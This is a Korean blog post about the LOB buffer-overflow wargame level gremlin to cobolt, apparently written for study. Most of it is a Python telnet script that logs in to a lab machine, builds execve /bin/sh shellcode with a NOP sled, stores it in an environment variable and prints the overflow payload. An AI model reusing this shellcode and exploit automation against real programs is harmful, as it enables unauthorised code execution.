Python/2.7 simple coding(+ c++)

lob gremlin->cobolt

qkqhxla1 2014. 12. 31. 17:14

이것도 그냥 손으로 풀어보니까 대충 이해가서 프로그래밍적으로 다 해주는거 만들려다가


페이로드 출력까지 하고 끝.... 기왕이면 쉘까지 실행시켜보고 싶었지만 그게 되지를 않는다.....


gdb를 알아서 분석해서 스택크기 계산하는 그런것도 자동화 시켜보려고 했는데 그건 오바일듯;


1. execve의 시스템 콜 번호를 /usr/include/asm/unistd.h에서 가져옴.


2. 가져온 시스템 콜 번호로 어셈블리어를 짠 후 objdump까지 완료한 결과값을 obj라는 파일에 넣음.


3. obj에서 정규표현식으로 opcode부분만을 공백으로 잘 연결해서 shells라는 파일에 넣음.


4. shells파일에서 opcode를 잘 가져와서 문자열로 잘 캐스팅 후 shell이라는 환경변수로 등록함.


5. 환경변수의 주소값을 가져오는 프로그래밍을 컴파일 후 실행시켜서 shell환경변수의 주소값을가져옴.


6. 가져온 shell환경변수의 주소값으로 페이로드를 만들어서 출력함.



# -*- encoding: cp949 -*-
import telnetlib, re

tn = telnetlib.Telnet("192.168.253.135")
tn.read_until("login: ")
tn.write('gremlin\n')
tn.read_until("Password: ")
tn.write("hello bof world\n")

#텔넷에 접속해서 /usr/include/asm/unistd.h에서 execve의 시스템 콜 번호를 가져온다. 
#가져온 시스템 콜 번호로 어셈블리 코드를 짠다.
tn.write("""
echo '#!/usr/bin/python
import re,os
str = open("/usr/include/asm/unistd.h","r")
lines = str.readlines()
for s in lines:
    try:
        answer = int(re.findall("execve\s+(\d+)",s)[0])
    except:
        pass

asm =\"\"\".global _start

_start:
        xor %eax, %eax
        xor %edx, %edx
        push %eax #null
        push $0x68732f2f #//sh
        push $0x6e69622f #/bin
        mov %esp, %ebx #/bin//sh문자열의 주소저장
        push %edx
        push %ebx
        mov %esp, %ecx
        movb $0x\"\"\"+"%x" %answer+\"\"\", %al #0x0B==11로 execve의 시스템 콜 번호.
        int $0x80\"\"\"

print asm
' > execve.py
""")
tn.write("python execve.py > sh.s\n")
tn.write("as -o sh.o sh.s\n")
tn.write("ld -o sh sh.o\n")
tn.write("objdump -d sh > obj\n") 
#어셈블리 코드를 실행시켜서 objdump -d결과를 obj라는 파일에 집어넣는다.

#obj라는 파일에서 정규표현식으로 OPcode부분만 가져와서 한 문자열로 잇는다. 
#이은 문자열을 shells라는 파일에 넣는다.(90 90 90 90 80~이런식으로 shells에 들어가있음.)
tn.write("""
echo '#!/usr/bin/python
import re,string,os

answer = ""
str = open("obj","r")
lines = str.readlines()
for s in lines:
    try:
        answer = answer + re.findall("[0-9a-z]+:\s+(.*?)\s+[a-z]+\s+[\%\$]",s)[0]+" "
    except:
        pass
answer = hex(144)*20+" "+answer
answer = string.rstrip(answer)
answer = string.replace(answer,"0x"," ")

print answer
' > shellcode
""")
tn.write("python shellcode > shells\n")

#shells라는 파일을 열어서 한문자씩 가져온 후 그걸 다시 char*형으로 캐스팅 해서 sh배열에 넣고,
#출력한 결과를 shell환경변수의 값으로 등록한다. (export shell=`./shellcode`)
tn.write("""
echo '#include <stdio.h>

int main()
{
        FILE *fp = fopen("shells","r");
        int hex[1000],i;
        char sh[1000];
        i=0;
        while(!feof(fp))
        {
                fscanf(fp,"%x",&hex[i]);
                sh[i]=(char*)hex[i];
                i++;
        }
        printf("%s",sh);
        return 0;
}
' > shellcode.c
""")
tn.write("gcc -o shellcode shellcode.c\n")
tn.write("export shell=`./shellcode`\n")

#환경변수의 주소값을 가져오는 프로그래밍을 하고 컴파일 후
#shell환경변수의 주소값을 가져와서 그 결과값을 add라는 파일에 넣는다.
tn.write("""
echo '#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
        printf("address = %p\n",getenv(argv[1]));
        return 0;
}
' > env.c
""")
tn.write("gcc -o env env.c\n")
tn.write("./env shell > add\n")

#add라는 파일을 열어서 주소부분만 가져온 후 \x로 주소 관련 페이로드부분을 만든다. 
#그후 결과값을 다시 address파일에 저장한다.
tn.write("""
echo 'import re

str = open("add","r")
lines = str.readlines()
for s in lines:
        try:
                str = re.findall("address = 0x(.*)",s)[0]
        except:
                pass
address = ""
for i in range(len(str)-2,-1,-2):
        address = address+"\\x"+str[i:i+2]
print address

' > address.py
""")
tn.write("python address.py > address\n")

#address라는 파일을 열어서 페이로드 글자를 하나하나 만들고 출력한다.
tn.write("""
echo "#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
        FILE *fp = fopen(\\\"address\\\",\\\"r\\\");
        int hex[1000],i;
        char sh[1000];
        char sys[100]=\\\"./cobolt \\`python -c 'print \\\\\\"a\\\\\\"*20+\\\\\\"\\\";
        char end[100]=\\\"\\\\\\"'\\`\\\";
        fgets(sh,1000,fp);
        sh[strlen(sh)-1]='\\0';
        strcat(sys,sh);
        strcat(sys,end);
        printf(\\\"%s\\\\n\\\",sys);
        return 0;
}
" > payload.c
""")
tn.write("gcc -o payload payload.c\n")
tn.write("./payload\n")
tn.interact()